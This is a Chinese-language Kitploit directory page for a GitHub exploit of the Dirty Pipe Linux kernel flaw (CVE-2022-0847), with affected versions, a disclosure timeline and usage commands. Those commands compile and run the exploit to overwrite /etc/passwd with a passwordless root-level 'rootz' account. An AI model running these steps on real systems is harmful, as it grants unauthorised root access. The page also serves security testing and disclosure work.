Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-0847 — CVE-2022-0847 | Kitploit
工具/GitHubGitHub/al1ex/cve-2022-0847
权限提升漏洞分析漏洞利用二进制利用
GitHubal1ex/cve-2022-0847

CVE-2022-0847

CVE-2022-0847

查看仓库
91174年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

信息

root@kitploit:~
Exploit Title: Local Privilege Escalation in Linux kernel (CVE-2022-0847)
Date: 03/07/2022
Exploit Author: Max Kellermann <[email protected]>
Tested on: ubuntu 20.04.1 LTS
Affect product:Linux kernel 5.8 or later
Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102
CVE ID: CVE-2022-0847

利用方法

测试环境:

env

本地权限提升

root@kitploit:~
cp /etc/passwd /tmp/passwd.bak
gcc exp.c -o exp
./exp /etc/passwd 1 ootz:
su rootz
id

exp

参考

https://dirtypipe.cm4all.com/

时间线

  • 2021-04-29:关于文件损坏的第一个支持工单
  • 2022-02-19:文件损坏问题被确认为Linux内核漏洞,原来是一个可利用的漏洞
  • 2022-02-20:向Linux内核安全团队发送了漏洞报告、利用代码和补丁
  • 2022-02-21:在Google Pixel 6上复现漏洞;向Android安全团队发送漏洞报告
  • 2022-02-21:按照Linus Torvalds、Willy Tarreau和Al Viro的建议,向LKML发送了补丁(不含漏洞细节)补丁链接
  • 2022-02-23:包含我修复的Linux稳定版本发布(5.16.11、5.15.25、5.10.102)
  • 2022-02-24:Google将我的修复合并到Android内核
  • 2022-02-28:通知linux-distros邮件列表
  • 2022-03-07:公开披露
下载工具